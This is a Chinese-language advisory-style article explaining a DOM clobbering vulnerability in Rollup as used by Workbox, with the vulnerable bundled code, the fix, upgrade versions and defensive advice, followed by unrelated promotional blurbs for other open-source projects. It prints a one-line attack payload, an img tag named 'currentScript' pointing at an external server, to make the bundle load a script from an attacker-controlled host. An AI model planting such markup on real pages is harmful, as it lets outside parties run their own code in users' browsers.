Workbox项目中Rollup依赖的DOM安全问题分析与修复方案
问题背景
在Web开发领域,构建工具的安全性问题往往容易被开发者忽视。近期在Workbox项目依赖的Rollup构建工具中发现了一个值得警惕的安全问题——DOM干扰攻击向量。这种攻击方式通过HTML元素的命名属性干扰JavaScript的正常执行流程,可能导致严重的安全风险。
问题技术分析
DOM干扰攻击原理
DOM干扰是一种特殊的代码重用攻击技术。攻击者通过在网页中嵌入看似无害的非脚本HTML标记(如带有特定name或id属性的img标签),利用现有JavaScript代码中的"可被利用的代码片段"将其转化为可执行代码。这种攻击不需要直接注入JavaScript代码,因此能绕过许多传统的内容安全策略。
Rollup中的问题点
当使用Rollup打包使用import.meta.url的脚本,并输出为cjs/umd/iife格式时,Rollup会将meta属性替换为从document.currentScript获取的URL。问题在于,document.currentScript的查找过程可能被攻击者通过浏览器命名DOM树元素访问机制所劫持。
具体来说,Rollup在以下代码中存在安全隐患:
// 原始问题代码
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
s.src = (_documentCurrentScript && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)
攻击者只需在页面中插入一个带有name="currentScript"属性的HTML元素(如img标签),就能控制脚本加载行为。
攻击场景演示
假设开发者使用Rollup打包以下代码:
var s = document.createElement('script');
s.src = import.meta.url + 'extra.js';
document.head.append(s);
打包后的输出包含易受攻击的代码。如果攻击者能在页面中插入:
<img name="currentScript" src="https://外部服务器/">
这将导致浏览器从外部控制的服务器加载extra.js脚本,实现潜在攻击。
问题影响范围
该问题影响以下情况:
- 使用Rollup打包的项目
- 输出格式为cjs/iife/umd
- 代码中使用import.meta特性
- 页面允许用户注入特定HTML标签且未严格过滤name/id属性
修复方案
Rollup团队已发布修复版本,通过在获取currentScript时增加类型检查来防御DOM干扰攻击。修复后的关键代码如下:
// 修复后的安全代码
document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src
修复方案增加了对元素类型的严格验证,确保只有真正的SCRIPT元素才能提供src属性值。
升级建议
开发者应立即采取以下措施:
- 将Rollup升级至安全版本(v4.22.4+或v3.29.5+)
- 对于无法立即升级的项目,可使用npm audit fix或package.json中的overrides功能强制使用安全版本
- 审查项目中是否存在允许用户注入HTML标签的功能,并加强输入过滤
防御深度思考
除了升级Rollup外,开发者还应考虑以下防御措施:
- 实施严格的内容安全策略(CSP)
- 对所有用户提供的内容进行HTML净化处理
- 避免在关键安全逻辑中依赖可能被DOM干扰影响的全局对象
- 考虑使用Trusted Types等现代浏览器安全特性
这个案例再次提醒我们,构建工具链的安全性与应用代码安全同等重要,应当纳入常规的安全审计范围。
kernelopenEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。C046
MiniMax-M2.1从多语言软件开发自动化到复杂多步骤办公流程执行,MiniMax-M2.1 助力开发者构建下一代自主应用——全程保持完全透明、可控且易于获取。Python00
kylin-wayland-compositorkylin-wayland-compositor或kylin-wlcom(以下简称kywc)是一个基于wlroots编写的wayland合成器。 目前积极开发中,并作为默认显示服务器随openKylin系统发布。 该项目使用开源协议GPL-1.0-or-later,项目中来源于其他开源项目的文件或代码片段遵守原开源协议要求。C01
PaddleOCR-VLPaddleOCR-VL 是一款顶尖且资源高效的文档解析专用模型。其核心组件为 PaddleOCR-VL-0.9B,这是一款精简却功能强大的视觉语言模型(VLM)。该模型融合了 NaViT 风格的动态分辨率视觉编码器与 ERNIE-4.5-0.3B 语言模型,可实现精准的元素识别。Python00
GLM-4.7GLM-4.7上线并开源。新版本面向Coding场景强化了编码能力、长程任务规划与工具协同,并在多项主流公开基准测试中取得开源模型中的领先表现。 目前,GLM-4.7已通过BigModel.cn提供API,并在z.ai全栈开发模式中上线Skills模块,支持多模态任务的统一规划与协作。Jinja00
agent-studioopenJiuwen agent-studio提供零码、低码可视化开发和工作流编排,模型、知识库、插件等各资源管理能力TSX0124
Spark-Formalizer-X1-7BSpark-Formalizer 是由科大讯飞团队开发的专用大型语言模型,专注于数学自动形式化任务。该模型擅长将自然语言数学问题转化为精确的 Lean4 形式化语句,在形式化语句生成方面达到了业界领先水平。Python00